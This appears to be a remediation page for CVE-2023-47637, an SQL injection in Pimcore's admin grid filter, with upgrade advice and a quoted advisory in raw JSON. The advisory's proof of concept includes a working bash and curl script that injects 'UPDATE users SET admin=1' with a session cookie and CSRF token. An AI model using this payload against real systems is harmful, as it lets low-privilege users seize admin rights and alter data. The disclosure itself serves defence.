How to Fix CVE-2023-47637
To remediate this vulnerability, upgrade all affected Pimcore/pimcore dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade pimcore/pimcore to 11.1.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for pimcore/pimcore
How to Check if You Are Affected
To determine whether your application is affected by CVE-2023-47637, inspect your project dependencies for Pimcore/pimcore:
inspect dependencies for pimcore/pimcore
Analyze the terminal output to locate any version of Pimcore/pimcore in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 11.1.1), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In Pimcore/pimcore, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

"summary" : "Pimcore SQL Injection in Admin Grid Filter API through Multiselect::getFilterConditionExt()",
"details" : "### Summary\n\nUser input passed directly into an SQL statement allows (non-admin) backend users to execute arbitrary SQL statements.\n\n### Details\n\nThe `/admin/object/grid-proxy` endpoint calls `getFilterCondition()` on fields of classes to be filtered for at https://github.com/pimcore/admin-ui-classic-bundle/blob/bba7c7419cb1f06d5fd98781eab4d6995e4e5dca/src/Helper/GridHelperService.php#L311, passing input from the request, and later executes the returned SQL.\nOne implementation of `getFilterCondition()` is in `Multiselect`, which does not normalize/escape/validate the passed value: https://github.com/pimcore/pimcore/blob/42b6cfa77c4540205bdd10689893ccb73e4bac8f/models/DataObject/ClassDefinition/Data/Multiselect.php#L285-L312\n\n### PoC\n\n* Set up an example project as described on https://pimcore.com/docs/platform/Pimcore/Getting_Started/Installation/Docker_Based_Installation (demo package with example content)\n* Enter the backend and add a new user without admin privileges, but the \"Objects\" permission enabled.\n* Log out and back in with the new user. Grab the `X-pimcore-csrf-token` header from any request the backend does, as well as the `PHPSESSID` cookie.\n* Run the following script, substituting the values accordingly:\n ```bash\n #!/bin/bash\n BASE_URL=http://localhost:8084 # REPLACE THIS!\n CSRF_TOKEN=\"bd89fd7ceb3b541dd63c200fd4fc8c8ea3cc1a05\" # REPLACE THIS!\n COOKIE=\"PHPSESSID=a0f408f9af7657430a4e6a1608c80277\" # REPLACE THIS!\n SQL=\"UPDATE users SET admin=1\"\n \n FILTER_JSON=\"[{\\\"property\\\":\\\"tags\\\",\\\"operator\\\":\\\"=\\\",\\\"type\\\":\\\"list\\\",\\\"value\\\":[\\\"')); ${SQL}; --\\\"]}]\"\n \n curl \"${BASE_URL}/admin/object/grid-proxy?classId=EV&folderId=1119\" \\\n\t -X POST \\\n\t -H \"X-pimcore-csrf-token: ${CSRF_TOKEN}\" \\\n\t -H \"Cookie: ${COOKIE}\" \\\n\t --data \"filter=$FILTER_JSON\"\n ```\n* Refresh the backend, the user is admin now.\n\n**Notes**\nThe above process also works with the initial admin user, but for demonstration purposes it is more interesting to use an unpriveleged one.\nOther important variables to adjust in the above script for other deployments are the `classId=EV&folderId=1119` parameters, which must reference an existing class and folder, as well as `\"property\":\"tags\"`, which points to a Multiselect field in this class.\n\n### Impact\n\nAny backend user with very basic permissions can execute arbitrary SQL statements and thus alter any data or escalate their privileges to at least admin level.\n\n### Patches\nApply [patch](https://github.com/pimcore/pimcore/commit/d164d99c90f098d0ccd6b72929c48b727e2953a0.patch) manually.\n\n\n### Workarounds\nUpdate to version 11.1.1 or apply this [patch](https://github.com/pimcore/pimcore/commit/d164d99c90f098d0ccd6b72929c48b727e2953a0.patch) manually.",
